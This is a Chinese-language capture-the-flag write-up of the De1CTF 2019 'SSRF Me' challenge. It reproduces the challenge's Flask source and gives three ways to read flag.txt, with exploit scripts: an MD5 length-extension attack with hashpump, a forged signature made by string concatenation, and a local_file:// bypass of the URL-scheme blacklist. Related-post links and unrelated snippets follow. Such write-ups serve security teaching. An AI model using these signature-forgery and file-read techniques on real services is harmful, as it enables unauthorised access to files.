原帖地址 : https://xz.aliyun.com/t/5927

De1CTF 2019 的一个题目总结

题目描述

  • 直接查看页面源代码可以看到正确格式的代码

    #! /usr/bin/env python
    #encoding=utf-8
    from flask import Flask
    from flask import request
    import socket
    import hashlib
    import urllib
    import sys
    import os
    import json reload(sys)
    sys.setdefaultencoding('latin1') app = Flask(__name__) secert_key = os.urandom(16) class Task:
    def __init__(self, action, param, sign, ip):
    self.action = action
    self.param = param
    self.sign = sign
    self.sandbox = md5(ip)
    if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
    os.mkdir(self.sandbox) def Exec(self):
    result = {}
    result['code'] = 500
    if (self.checkSign()):
    if "scan" in self.action:
    tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
    resp = scan(self.param)
    if (resp == "Connection Timeout"):
    result['data'] = resp
    else:
    print(resp)
    tmpfile.write(resp)
    tmpfile.close()
    result['code'] = 200
    if "read" in self.action:
    f = open("./%s/result.txt" % self.sandbox, 'r')
    result['code'] = 200
    result['data'] = f.read()
    if result['code'] == 500:
    result['data'] = "Action Error"
    else:
    result['code'] = 500
    result['msg'] = "Sign Error"
    return result def checkSign(self):
    if (getSign(self.action, self.param) == self.sign):
    return True
    else:
    return False #generate Sign For Action Scan.
    @app.route("/geneSign", methods=['GET', 'POST'])
    def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param) @app.route('/De1ta',methods=['GET','POST'])
    def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
    return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
    @app.route('/')
    def index():
    return open("code.txt","r").read() def scan(param):
    socket.setdefaulttimeout(1)
    try:
    return urllib.urlopen(param).read()[:50]
    except:
    return "Connection Timeout" def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest() def md5(content):
    return hashlib.md5(content).hexdigest() def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
    return True
    else:
    return False if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)
  • 提示给的是 flag 在 ./flag.txt 中,题目单词打错了

  • python 的 flask 框架,三个路由,index 用于获取源码,geneSign 用于生成 md5,De1ta 就是挑战

  • 大概思路就是在 /De1ta 中 get param ,cookie action sign 去读取 flag.txt,其中,param=flag.txtaction 中要含有 readscan,且 sign=md5(secert_key + param + action)

哈希拓展攻击

  • 这是这道题最多的解法,介绍 : https://joychou.org/web/hash-length-extension-attack.html

  • secert_key 是一个长度为 16 的字符串,在 /geneSign?param=flag.txt 中可以获取 md5(secert_key + 'flag.txt' + 'scan') 的值,为 8370bdba94bd5aaf7427b84b3f52d7cb,而目标则是获取 md5(secert_key + 'flag.txt' + 'readscan') 的值

  • 使用 hashpump 即可

    root@peri0d:~/HashPump# hashpump
    Input Signature: 8370bdba94bd5aaf7427b84b3f52d7cb
    Input Data: scan
    Input Key Length: 24
    Input Data to Add: read
    d7163f39ab78a698b3514fd465e4018a
    scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read
  • exp :

    import requests
    
    url = 'http://139.180.128.86/De1ta?param=flag.txt'
    
    cookies = {
    'sign': 'd7163f39ab78a698b3514fd465e4018a',
    'action': 'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read',
    } res = requests.get(url=url, cookies=cookies)
    print(res.text)

字符串拼接

  • 试着访问了一下 /geneSign?param=flag.txt ,给出了一个 md5 8370bdba94bd5aaf7427b84b3f52d7cb ,但是只有 scan 的功能,想加入 read 功能就要另想办法了

    def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
  • 看了一下逻辑,在 getSign 处很有意思,这个字符串拼接的就很有意思了

    def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()
  • 不妨假设 secert_keyxxx ,那么在开始访问 /geneSign?param=flag.txt 的时候,返回的 md5 就是 md5('xxx' + 'flag.txt' + 'scan') ,在 python 里面上述表达式就相当于 md5(xxxflag.txtscan) ,这就很有意思了。

  • 直接构造访问 /geneSign?param=flag.txtread ,拿到的 md5 就是 md5('xxx' + 'flag.txtread' + 'scan') ,等价于 md5('xxxflag.txtreadscan') ,这就达到了目标。

  • 直接访问 /De1ta?param=flag.txt 构造 cookie action=readscan;sign=7cde191de87fe3ddac26e19acae1525e 即可

local_file

  • 天枢大佬们的做法 : https://xz.aliyun.com/t/5921#toc-16

  • 放上他们的 exp :

    import requests
    conn = requests.Session() url = "http://139.180.128.86"
    def geneSign(param):
    data = {
    "param": param
    }
    resp = conn.get(url+"/geneSign",params=data).text
    print resp
    return resp def challenge(action,param,sign):
    cookie={
    "action":action,
    "sign":sign
    }
    params={
    "param":param
    }
    resp = conn.get(url+"/De1ta",params=params,cookies=cookie)
    return resp.text
    filename = "local_file:///app/flag.txt"
    a = []
    for i in range(1):
    sign = geneSign("{}read".format(filename.format(i)))
    resp = challenge("readscan",filename.format(i),sign)
    if("title" in resp):
    a.append(i)
    print resp,i
    print a
  • 请求 /geneSign?param=local_file:///app/flag.txtread 获取 md5 值为 60ff07b83381a35d13caaf2daf583c94 ,即 md5(secert_key + 'local_file:///app/flag.txtread' + 'scan')

  • 然后再请求 /De1ta?param=local_file:///app/flag.txt 构造 cookie action=readscan;sign=60ff07b83381a35d13caaf2daf583c94

  • 以上就是他们 exp 做的事情,和上一个方法差不多

  • 关于 local_file :

    • https://bugs.python.org/issue35907

    • 这里是使用的 urllib.urlopen(param) 去包含的文件,所以可以直接加上文件路径 flag.txt./flag.txt 去访问,也可以使用类似的 file:///app/flag.txt 去访问,但是 file 关键字在黑名单里,可以使用 local_file 代替

    • 如果使用 urllib2.urlopen(param) 去包含文件就必须加上 file ,否则会报 ValueError: unknown url type: /path/to/file 的错误

  • https://bugs.python.org/issue35907

[De1CTF 2019]SSRF Me的更多相关文章

  1. 刷题记录:[De1CTF 2019]SSRF Me

    目录 刷题记录:[De1CTF 2019]SSRF Me 一.涉及知识点 1.MD5长度扩展攻击 2.Python 2.x - 2.7.16 urllib.fopen支持local_file导致LFI ...

  2. 刷题[De1CTF 2019]SSRF Me

    前置知识 本题框架是flask框架,正好python面向对象和flask框架没怎么学,借着这个好好学一下 这里我直接听mooc上北京大学陈斌老师的内容,因为讲的比较清楚,直接把他的ppt拿过来,看看就 ...

  3. BUUCTF | [De1CTF 2019]SSRF Me

    解法一字符串拼接: 1.得到签名sign http://8fa4531c-1164-49b7-a700-70e77e6aacb7.node3.buuoj.cn/geneSign?param=flag. ...

  4. [De1CTF 2019]SSRF Me-MD5长度扩展攻击&CVE-2019-9948

    0x00 打开题目查看源代码,开始审计 这里贴上网上师傅的博客笔记: https://xz.aliyun.com/t/6050 #! /usr/bin/env python #encoding=utf ...

  5. 刷题记录:[De1CTF 2019]Giftbox && Comment

    目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 ...

  6. [De1CTF 2019]Giftbox 分析&&TPOP学习

    [De1CTF 2019]Giftbox 刚进来我以为是直接给了shell,恐怖如斯. 随便扔了个命令,之后就没然后了,hhh,截包发现可能存在sql注入. 然后我就不会了... what i lea ...

  7. BUUCTF知识记录

    [强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...

  8. BUUCTF WEB

    BUUCTF 几道WEB题WP 今天做了几道Web题,记录一下,Web萌新写的不好,望大佬们见谅○| ̄|_ [RoarCTF 2019]Easy Calc 知识点:PHP的字符串解析特性 参考了一下网 ...

  9. 刷题记录:[De1ctf] shell shell shell

    目录 刷题记录:[De1ctf] shell shell shell 一.知识点 1.源码泄露 2.正则表达式不完善导致sql注入 3.soapclient反序列化->ssrf 4.扫描内网 5 ...

随机推荐

  1. 证明与计算(7): 有限状态机(Finite State Machine)

    什么是有限状态机(Finite State Machine)? 什么是确定性有限状态机(deterministic finite automaton, DFA )? 什么是非确定性有限状态机(nond ...

  2. Spss统计描述分析

    总觉得有些技能学会了是不会忘的,但是还是要记录一下,怕记忆力不像狗皮膏药,并不那么牢固. 1.文件的合并 两个数据文件的合并 点击添加个案,这一步按照自己的需求选择,也可以打开外部数据集,在这里打开的 ...

  3. 构建一个简单的 Google Dialogflow 聊天机器人【上】

    概述 本教程将向您展示如何构建一个简单的Dialogflow聊天机器人,引导您完成Dialogflow的最重要功能.您将学习如何: 创建Dialogflow帐户和第一个Dialogflow聊天机器人, ...

  4. 安装arcgis server时提示“应用程序无法启动,因为应用程序......或使用命令行sxstrace.exe”

    说一下这个原因:有几个条件不满足会产生这样的问题: 1.软件的发布是不需要安装的,直接在vs里编译好release版就发布了,而发布的时候如果缺少一些库文件,就会产生这样的问题.      一版都是目 ...

  5. coding++:Java 中Model 与 实体的区别

    model的字段>entity的字段,并且model的字段属性可以与entity不一致,model是用于前端页面数据展示的,而entity则是与数据库进行交互做存储用途. 举个例子: 比如在存储 ...

  6. K 最近邻(k-nearest neighbours,KNN)算法

     KNN用于分类和回归,需要考虑最近的邻居. 分类就是编组. 回归就是预测结果(如数字). 特征抽取意味着将物品(如水果或用户)转换为一系列可比较的数字. 能否挑选合适的特征事关KNN算法的 ...

  7. spring中BeanPostProcessor之一:InstantiationAwareBeanPostProcessor(01)

    在spring中beanPostProcessor绝对是开天辟地的产物,给了程序员很多自主权,beanPostProcessor即常说的bean后置处理器. 一.概览 先来说下Instantiatio ...

  8. Django之extra过滤

    extra extra(select=None, where=None, params=None, tables=None, order_by=None, select_params=None) 有些 ...

  9. 别人家的 InfluxDB 实战 + 源码剖析

    1. 前几次的分享,我们多次提到了下图中 Metrics 指标监控的 Prometheus.Grafana,而且 get 到了 influxdata 旗下的 InfluxDB 的入门技能. 本次,我们 ...

  10. cls

    class : python中cls代表的是类的本身,相对应的self则是类的一个实例对象. class Person(object): def __init__(self, name, age): ...